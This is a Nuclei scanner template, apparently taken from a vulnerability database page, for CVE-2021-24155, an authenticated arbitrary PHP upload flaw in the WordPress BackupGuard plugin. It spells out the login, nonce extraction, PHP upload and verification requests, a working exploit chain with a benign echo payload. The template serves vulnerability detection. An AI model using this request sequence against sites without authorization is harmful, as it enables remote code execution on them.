id: CVE-2021-24155
info:
name: WordPress BackupGuard <1.6.0 - Authenticated Arbitrary File Upload
author: theamanrawat
severity: high
description: |
WordPress Backup Guard plugin before 1.6.0 is susceptible to authenticated arbitrary file upload. The plugin does not ensure that imported files are in SGBP format and extension, allowing high-privilege users to upload arbitrary files, including PHP, possibly leading to remote code execution.
impact: |
Remote code execution
remediation: Fixed in version 1.6.0.
reference:
- https://wpscan.com/vulnerability/d442acac-4394-45e4-b6bb-adf4a40960fb
- https://wordpress.org/plugins/backup/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24155
- http://packetstormsecurity.com/files/163382/WordPress-Backup-Guard-1.5.8-Shell-Upload.html
- https://github.com/0dayNinja/CVE-2021-24155.rb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2021-24155
cwe-id: CWE-434
epss-score: 0.84112
epss-percentile: 0.99663
cpe: cpe:2.3:a:backup-guard:backup_guard:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: backup-guard
product: backup_guard
framework: wordpress
tags: cve,cve2021,authenticated,wp,packetstorm,wp-plugin,rce,wordpress,backup,wpscan,intrusive,backup-guard,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=backup_guard_backups HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php?action=backup_guard_importBackup&token={{nonce}} HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=---------------------------204200867127808062083805313921
-----------------------------204200867127808062083805313921
Content-Disposition: form-data; name="files[]"; filename="{{randstr}}.php"
Content-Type: application/x-php
<?php
echo "CVE-2021-24155";
?>
-----------------------------204200867127808062083805313921--
- |
GET /wp-content/uploads/backup-guard/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- contains(header_4, "text/html")
- status_code_4 == 200
- contains(body_3, '{\"success\":1}')
- contains(body_4, 'CVE-2021-24155')
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- BG_BACKUP_STRINGS = {"nonce":"([0-9a-zA-Z]+)"};
internal: true
# digest: 4a0a00473045022100e6c4d5b1b03df45d8cc222da2f57b5a48098838c6c9d0985cb5e2b99a65c1fd80220629a0b0d03f2b5e11d6d4fd4cdd54d8347710a256d66dce15e299fc4063b1a5e:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation